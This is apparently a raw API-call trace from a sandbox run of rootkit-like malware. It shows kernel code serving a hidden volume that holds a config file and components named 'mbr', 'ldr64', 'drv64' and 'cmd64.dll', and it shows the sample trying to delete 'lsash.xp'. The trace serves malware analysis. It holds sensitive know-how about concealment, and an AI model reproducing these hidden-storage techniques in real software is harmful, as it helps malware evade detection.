[0127.127] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.127] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.127] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf50c0 [0127.127] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.127] KeLeaveCriticalRegion () [0127.127] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.127] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.127] KeEnterCriticalRegion () [0127.127] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.127] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.127] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.127] KeLeaveCriticalRegion () [0127.127] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.127] KeEnterCriticalRegion () [0127.127] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.127] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.127] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.127] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.127] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.127] IdePortDispatch () returned 0x103 [0127.127] KeWaitForMutexObject () returned 0x0 [0127.127] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.127] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.127] KeLeaveCriticalRegion () [0127.127] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.127] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.128] KeEnterCriticalRegion () [0127.128] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.128] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b89000 [0127.128] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.128] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.128] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.128] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.128] IdePortDispatch () returned 0x103 [0127.128] KeWaitForMutexObject () returned 0x0 [0127.128] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.128] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.128] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.128] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.128] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.128] IdePortDispatch () returned 0x103 [0127.128] KeWaitForMutexObject () returned 0x0 [0127.128] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.128] KeLeaveCriticalRegion () [0127.128] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.129] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.129] KeEnterCriticalRegion () [0127.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.129] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.129] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.129] KeLeaveCriticalRegion () [0127.129] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.129] KeEnterCriticalRegion () [0127.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.129] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.129] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002adcbd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.129] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.129] KeLeaveCriticalRegion () [0127.129] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.129] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.129] KeEnterCriticalRegion () [0127.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.129] ExFreePoolWithTag (P=0xfffffa8003bf50c0, Tag=0x0) [0127.129] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.129] KeLeaveCriticalRegion () [0127.129] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.129] ReleaseMutex (hMutex=0xf0) returned 1 [0127.129] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.129] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.129] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.129] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.129] KeEnterCriticalRegion () [0127.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.129] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.129] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.129] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.129] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.129] IdePortDispatch () returned 0x103 [0127.130] KeWaitForMutexObject () returned 0x0 [0127.130] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.130] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.130] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.130] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.130] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.130] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.130] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.130] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.130] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.130] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.130] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.130] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.130] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.130] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.130] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.130] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.130] KeLeaveCriticalRegion () [0127.130] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.130] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.130] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.130] KeEnterCriticalRegion () [0127.130] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.130] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.130] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.130] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.130] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.130] IdePortDispatch () returned 0x103 [0127.130] KeWaitForMutexObject () returned 0x0 [0127.130] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.130] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.130] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.130] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.130] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.130] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.130] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.130] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.130] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.130] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.131] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.131] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.131] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.131] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.131] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.131] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.131] KeLeaveCriticalRegion () [0127.131] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.131] ReleaseMutex (hMutex=0x100) returned 1 [0127.131] Sleep (dwMilliseconds=0x2bf20) [0127.137] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6efa1e10, dwHighDateTime=0x1d24fa4)) [0127.137] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.137] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.137] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.137] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.137] KeEnterCriticalRegion () [0127.137] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.137] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.137] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.137] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.137] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.137] IdePortDispatch () returned 0x103 [0127.137] KeWaitForMutexObject () returned 0x0 [0127.137] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.137] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.137] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.137] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.137] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.137] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adc6b0 [0127.137] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.137] KeLeaveCriticalRegion () [0127.137] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.137] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.137] KeEnterCriticalRegion () [0127.138] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.138] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.138] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.138] KeLeaveCriticalRegion () [0127.138] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.138] KeEnterCriticalRegion () [0127.138] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.138] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.138] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.138] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.138] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.138] IdePortDispatch () returned 0x103 [0127.138] KeWaitForMutexObject () returned 0x0 [0127.138] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.138] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.138] KeLeaveCriticalRegion () [0127.138] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.138] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.138] KeEnterCriticalRegion () [0127.138] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.138] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b8c000 [0127.138] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.138] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.138] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.138] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.138] IdePortDispatch () returned 0x103 [0127.138] KeWaitForMutexObject () returned 0x0 [0127.138] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.138] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.138] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.139] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.139] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.139] IdePortDispatch () returned 0x103 [0127.139] KeWaitForMutexObject () returned 0x0 [0127.139] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.139] KeLeaveCriticalRegion () [0127.139] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.139] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.139] KeEnterCriticalRegion () [0127.139] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.139] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.139] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.139] KeLeaveCriticalRegion () [0127.139] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.139] KeEnterCriticalRegion () [0127.139] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.139] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.139] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.139] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.139] KeLeaveCriticalRegion () [0127.139] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.139] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.139] KeEnterCriticalRegion () [0127.139] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.140] ExFreePoolWithTag (P=0xfffffa8002adc6b0, Tag=0x0) [0127.140] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.140] KeLeaveCriticalRegion () [0127.140] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.140] ReleaseMutex (hMutex=0xf0) returned 1 [0127.140] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.140] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.140] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.140] KeEnterCriticalRegion () [0127.140] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.140] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.140] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.140] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.140] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.140] IdePortDispatch () returned 0x103 [0127.140] KeWaitForMutexObject () returned 0x0 [0127.140] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.140] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.140] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.140] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.140] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.140] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f78b0 [0127.140] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.140] KeLeaveCriticalRegion () [0127.140] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.140] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.140] KeEnterCriticalRegion () [0127.140] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.140] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.140] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.140] KeLeaveCriticalRegion () [0127.140] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.140] KeEnterCriticalRegion () [0127.140] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.140] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.140] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.140] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.141] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.141] IdePortDispatch () returned 0x103 [0127.141] KeWaitForMutexObject () returned 0x0 [0127.141] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.141] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.141] KeLeaveCriticalRegion () [0127.141] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.141] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.141] KeEnterCriticalRegion () [0127.141] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.141] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b8d000 [0127.141] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.141] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.141] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.141] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.141] IdePortDispatch () returned 0x103 [0127.141] KeWaitForMutexObject () returned 0x0 [0127.141] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.141] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.141] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.141] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.141] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.141] IdePortDispatch () returned 0x103 [0127.142] KeWaitForMutexObject () returned 0x0 [0127.142] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.142] KeLeaveCriticalRegion () [0127.142] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.142] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.142] KeEnterCriticalRegion () [0127.142] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) 